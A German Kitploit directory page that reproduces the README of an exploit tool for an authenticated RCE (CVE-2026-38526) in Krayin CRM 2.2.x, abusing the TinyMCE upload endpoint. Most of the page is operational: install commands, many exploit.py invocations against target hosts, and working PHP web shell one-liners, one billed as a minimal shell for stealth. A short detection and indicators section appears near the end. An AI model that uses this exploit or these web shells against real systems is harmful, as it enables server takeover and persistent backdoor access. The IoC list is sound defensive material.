Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
KrayinCRM-RCE-Exploit-CVE-2026-38526 — CVE-2026-38526 Exploit für Krayin CRM v2.2.x - Authentifizierte RCE über TinyMCE-Datei-Upload-Bypass. Bietet interaktive Shell, Multityp-Payloads, automatische Shell-Generierung und Verifizierung. Autor: Sudeepa Wanigarathna. Nur für autorisierte Tests. | Kitploit
Tools/GitHubGitHub/cerberusmrxi/krayincrm-rce-exploit-cve-2026-38526
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed TeamingShellcode-Generierung
GitHub
cerberusmrxi/krayincrm-rce-exploit-cve-2026-38526

KrayinCRM-RCE-Exploit-CVE-2026-38526

CVE-2026-38526 Exploit für Krayin CRM v2.2.x - Authentifizierte RCE über TinyMCE-Datei-Upload-Bypass. Bietet interaktive Shell, Multityp-Payloads, automatische Shell-Generierung und Verifizierung. Autor: Sudeepa Wanigarathna. Nur für autorisierte Tests.

Repository anzeigen
330vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

🔓 Krayin CRM v2.2.x - Authentifizierte Remote-Code-Ausführung Exploit

License: MIT CVE-2026-38526

⚠️ NUR FÜR AUTORISIERTE SICHERHEITSTESTS - Unbefugte Nutzung ist illegal und unethisch.

📋 Überblick

Dieses Exploit-Tool demonstriert eine kritische, authentifizierte Remote-Code-Ausführungs-Schwachstelle (RCE), die in Krayin CRM Version 2.2.x entdeckt wurde. Die Schwachstelle existiert in der TinyMCE-Datei-Upload-Funktionalität, die es authentifizierten Administratoren ermöglicht, beliebigen PHP-Code auf dem Server hochzuladen und auszuführen.

EigenschaftWert
CVE IDCVE-2026-38526
Betroffene SoftwareKrayin CRM v2.2.x
SchwachstellentypAuthentifizierte Remote-Code-Ausführung (RCE)
Authentifizierung erforderlichJa (Admin-Level-Zugriff)
AuswirkungVollständige Systemkompromittierung
CVSS-Score8.8 (Hoch)

🚨 Schwachstellendetails

Die Schwachstelle resultiert aus einer unzureichenden Dateityp-Validierung im TinyMCE-Datei-Upload-Endpunkt (/admin/tinymce/upload). Ein authentifizierter Administrator kann:

  • Eine PHP-Datei hochladen, die als Bild-MIME-Typ getarnt ist.
  • Die Datei wird an einem webzugänglichen Ort gespeichert.
  • Der Angreifer kann dann beliebigen PHP-Code auf dem Server ausführen.

Betroffene Versionen

  • Krayin CRM 2.2.0
  • Krayin CRM 2.2.1
  • Krayin CRM 2.2.2
  • Alle 2.2.x Versionen vor dem Patch-Release

✨ Funktionen

  • Mehrere Shell-Typen: Basic, Advanced, Minimal, File Manager und Custom.
  • Interaktive Shell: Vollständige terminalähnliche Oberfläche mit Befehlshistorie.
  • Datei-Upload: Hochladen weiterer Dateien über die Shell.
  • CSRF-Token-Extraktion: Automatische Handhabung des CSRF-Schutzes.
  • Proxy-Unterstützung: Weiterleitung des Datenverkehrs über HTTP/HTTPS-Proxys.
  • Flexible Ausgabeformate: Text, JSON oder Silent-Modus.
  • Wiederholungslogik: Automatische Wiederholung bei Verbindungsfehlern.
  • Benutzerdefinierte Header: Unterstützung für benutzerdefinierte HTTP-Header.
  • Ausführlicher Modus: Detaillierte Debugging-Ausgabe.
  • SSL-Unterstützung: Optionale SSL-Zertifikatsprüfung.

📦 Installation

Voraussetzungen

  • bash
  • Python 3.7+
  • pip install httpx beautifulsoup4 colorama

Schnellinstallation

git clone https://github.com/CerberusMrXi/KrayinCRM-RCE-Exploit-CVE-2026-38526/.git
cd KrayinCRM-RCE-Exploit-CVE-2026-38526
pip install -r requirements.txt

Anforderungsdatei (requirements.txt)

httpx>=0.24.0
beautifulsoup4>=4.12.0
colorama>=0.4.6

🚀 Verwendung

Grundlegende Befehlssyntax

python3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> [OPTIONS]

Erforderliche Parameter

ParameterBeschreibung
-t, --targetZiel-URL (z.B. http://192.168.1.100)
-u, --usernameAdmin-Benutzername oder E-Mail
-p, --passwordAdmin-Passwort

Häufige Verwendungsbeispiele

# Basic exploitation with generated shell
python3 exploit.py -t http://target.com -u [email protected] -p password

# Upload custom PHP shell file
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php

# Generate advanced shell with interactive mode
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i

# Generate shell file without exploitation
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php

# Use with proxy for testing/debugging
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080

# JSON output for automation
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json

# Verbose mode with custom timeout
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60

# Custom User-Agent and headers
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"

🐚 Shell-Typen

  1. Basic Shell (basic) Einfache Befehlsausführung mit der system()-Funktion.

    <?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
    
  2. Advanced Shell (advanced) Funktionsreiche Shell mit:

    • Mehreren Befehlsausführungsmethoden
    • Schönem terminalähnlichen Web-Interface
    • Unterstützung der Befehlshistorie
    • Anzeige des aktuellen Benutzers und Hostnamens
  3. Minimal Shell (minimal) Minimaler Fußabdruck für Heimlichkeit.

    <?php system($_GET["cmd"]); ?>
    
  4. File Manager (file_manager) Vollständige Dateiverwaltungsschnittstelle:

    • Datei-Upload
    • Dateilöschung
    • Verzeichniserstellung
    • Navigation
    • Dateiberechtigungsanzeige
  5. Custom Shell (custom) Verwenden Sie Ihre eigene PHP-Shell-Datei mit dem Parameter -f.

📝 Ausgabeformate

Textformat (Standard)

Menschenlesbare, farbige Ausgabe für die interaktive Nutzung.

JSON-Format (-o json)

Maschinenlesbares Format für Automatisierung und Integration.

{
  "success": true,
  "shell_url": "http://target.com/shell.php",
  "upload_url": "/storage/upload/shell.php",
  "message": "Upload successful",
  "timestamp": 1699123456.789,
  "details": {
    "status_code": 200,
    "response": "..."
  }
}

Silent-Format (-q, --quiet)

Keine Ausgabe außer bei Fehlern. Nützlich für die Stapelverarbeitung.

⚙️ Erweiterte Optionen

OptionBeschreibungStandard
--timeoutZeitüberschreitung für Anfragen in Sekunden30
--retryAnzahl der Wiederholungsversuche3
--retry-delayVerzögerung zwischen Wiederholungen in Sekunden2
--user-agentBenutzerdefinierte User-Agent-ZeichenfolgeStandard-Browser-UA
--headerBenutzerdefinierte HTTP-Header (Key: Value)Keine
--verify-sslSSL-Zertifikate überprüfenFalse
--proxyHTTP/HTTPS-Proxy-URLKeine
-v, --verboseDebug-Ausgabe aktivierenFalse
-q, --quietGesamte Ausgabe unterdrückenFalse

Beispiel für benutzerdefinierte Header

--header "X-Custom-Header: value" --header "User-Agent: CustomUA/1.0"

🔒 Erkennung & Prävention

Anzeichen einer Kompromittierung (IoC)

  • Zu überwachende Dateien:

    • Ungewöhnliche PHP-Dateien in public/storage/upload/
    • Dateien mit doppelten Erweiterungen (z.B. image.php.jpg)
    • Neue Dateien mit verdächtigen Namen
  • Zu prüfende Logs:

    • /admin/tinymce/upload POST-Anfragen
    • Ungewöhnliche Admin-Anmeldezeiten
    • Fehlgeschlagene Authentifizierungsversuche
  • Systemindikatoren:

    • Unerwartete laufende Prozesse
    • Neue Cron-Jobs
    • Modifizierte Systemdateien

Präventionsmaßnahmen

Tool herunterladen